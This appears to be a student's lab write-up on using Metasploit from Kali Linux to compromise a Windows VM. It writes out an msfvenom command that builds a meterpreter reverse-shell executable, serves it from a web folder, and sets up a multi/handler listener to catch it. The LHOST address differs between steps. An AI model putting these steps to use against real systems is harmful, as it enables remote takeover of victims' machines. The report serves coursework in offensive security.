Tram Nguyen

CIS 450

Lab 8

**Link video for Metasploit to Metasploitable2:** <https://mediaspace.minnstate.edu/media/Lab+8+answer/1_a198w3vs>

**Bonus:**

I tried to do Metasploit to Windows VM. Here my work:

* Setup Used for Practicing Metasploit Basics:
* Kali Linux VM and set Networking to Bridged mode for this VM.
* Windows VM and set Networking to Bridged mode for this VM. Make sure it has Firewall disenabled.

Graphical user interface, application, Word

Description automatically generated

* We need Kali Linux 2018.2 as Kali comes with Metasploit Framework pre-installed.
* To install Metasploit in kali, use this link <https://www.kali.org/docs/tools/starting-metasploit-framework-in-kali/> or <https://www.fosslinux.com/48112/install-metasploit-kali-linux.htm>

- Starting Metasploit Framework in Kali VM:

**1) Create Metasploit**

- Before creating the metasploit, we need to figure out what is our Kali Linux and Windows VM local IP.

For that, run ```ip addr``` or ```ifconfig```

A screenshot of a computer

Description automatically generated

Graphical user interface, text

Description automatically generated

* In the terminal run the follow command:

**msfvenom -p windows/meterpreter/reverse\_tcp -a x86 –platform windows -f exe LHOST=192.168.1.36 LPORT=4444 -o Desktop/payload/payload.exe**

Text

Description automatically generated

* The command above instructs msfvenom to generate a Windows executable file that implements a reverse TCP connection for the payload. The format must be specified as being type .exe, and the LHOST and LPORT have to be defined. In our case, the LHOST is the IP address of our attacking Kali Linux machine that we got in the last command, and the LPORT is the port to listen on for a connection from the target once it has been compromised.
* The name of the .exe is up to you. In this case I’ll be using payload.exe
* Create folder “downloads” in var/www/html to move payload.exe to this folder

Text

Description automatically generated

2) Start the PostgreSQL database with the following command in Kali Terminal

**service postgresql start**

**msfconsole** or **msfdb run**

Text

Description automatically generated

* First, we’ll tell Metasploit to use the generic payload handler “multi/handler” using the command ```use multi/handler```. We will then ```set payload windows/meterpreter/reverse\_tcp```. We will then set the LHOST and LPORT this way - ```set LHOST 192.168.1.37``` and set ```LPORT 4444```. Once done, type ```run``` or ```exploit``` and press Enter.

Text

Description automatically generated

* On the Windows machine, you just need to access via the browser. Type 192.168.1.37/downloads

Graphical user interface, text, application, email

Description automatically generated

Now download, click run and check the connection on the Kali Machine.

A screenshot of a computer

Description automatically generated with medium confidence

**Proof of Exploitation**

**Text

Description automatically generated**